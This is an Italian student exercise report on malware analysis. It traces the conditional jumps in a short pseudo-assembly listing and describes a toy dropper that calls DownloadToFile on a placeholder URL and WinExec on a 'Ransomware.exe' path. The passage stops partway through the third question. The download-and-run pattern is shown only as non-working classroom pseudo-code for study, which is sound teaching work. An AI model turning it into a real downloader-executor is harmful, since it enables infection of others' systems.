S11/L5

Malware analysis

By

Noemi de Martino

Table of Contents

03 Part One
Traccia

05 Part Two
Quesito 1

06 Part Three
Quesito 2

07 Part Four
Quesito 3

09 Part Five
Quesito 4

12 Part Six
Bonus

Traccia

Part One

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.

2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati).
Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

3. Quali sono le diverse funzionalità implementate all'interno del Malware?

4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Traccia

Part One

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Quesito 1

Salti condizionali nel malware

Part Two

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	1 Salto Condizionale
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	2 Salto Condizionale
00401068	jz	loc 0040FFA0	; tabella 3

Sono presenti due salti condizionali

- **Primo salto (jnz a 0040105B)**
- **Secondo salto (jz a 00401068)**

Per capire quale salto condizionale viene eseguito, esaminiamo il codice:

1. L'istruzione **mov EAX, 5** imposta il valore del registro **EAX a 5**.
2. L'istruzione **mov EBX, 10** imposta il valore del registro **EBX a 10**.
3. L'istruzione **cmp EAX, 5** confronta il valore di **EAX con 5.**

Poiché il registro **EAX** contiene il valore **5**, il risultato dell'istruzione **cmp EAX, 5** è **zero**. Di conseguenza, l'istruzione **jnz (jump if not zero)** non verrà eseguita, poiché il risultato del confronto è zero. Il programma procederà quindi con l'istruzione successiva.

5. L'istruzione **inc EBX** incrementa il valore del registro **EBX di 1,** portando **EBX a 11.**
6. L'istruzione **cmp EBX, 11** confronta il valore di **EBX con 11**

Poiché il registro **EBX** contiene ora il valore **11**, il risultato dell'istruzione **cmp EBX, 11** è **zero**.
Di conseguenza, l'istruzione **jz** verrà eseguita, poiché il risultato del confronto è **zero**.

Il salto condizionale eseguito sarà:
00401068 jz loc 0040FFA0

Quesito 2

Part Three

Diagrama di flusso in base ai salti condizionali e al flusso logico

00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Quesito 3

Part Four

Funzionalità implementate nel Malware

Il malware analizzato implementa diverse funzionalità che mirano a compromettere il sistema bersaglio. Le funzionalità del malware sono le seguenti:

1. Inizializzazione dei Registri:

- **mov EAX, 5:** Assegna il valore **5** al registro **EAX**, inizializzandolo.
- **mov EBX, 10:** Assegna il valore **10** al registro **EBX**, inizializzandolo.

Queste istruzioni configurano i registri **EAX** e **EBX** per i confronti e le operazioni che seguiranno.

2. Controllo del Flusso del Programma

- **cmp EAX, 5:** Confronta il valore contenuto nel registro **EAX** con il numero **5**.
- **jnz loc 0040BBA0:** Esegue un salto alla locazione **0040BBA0 (Tabella 2)** se **EAX** è diverso da **5.** Tuttavia, poiché EAX è uguale a **5**, questo salto non viene eseguito.
- **inc EBX:** Incrementa il valore del registro **EBX** di **1**, portando il suo valore a **11**.
- **cmp EBX, 11:** Confronta il valore contenuto nel registro **EBX** con il numero **11**.
- **jz loc 0040FFA0:** Esegue un salto alla locazione **0040FFA0 (Tabella 3)** se **EBX** è uguale a **11**.

In questo caso, poiché **EBX** è effettivamente uguale a **11,** il salto viene eseguito.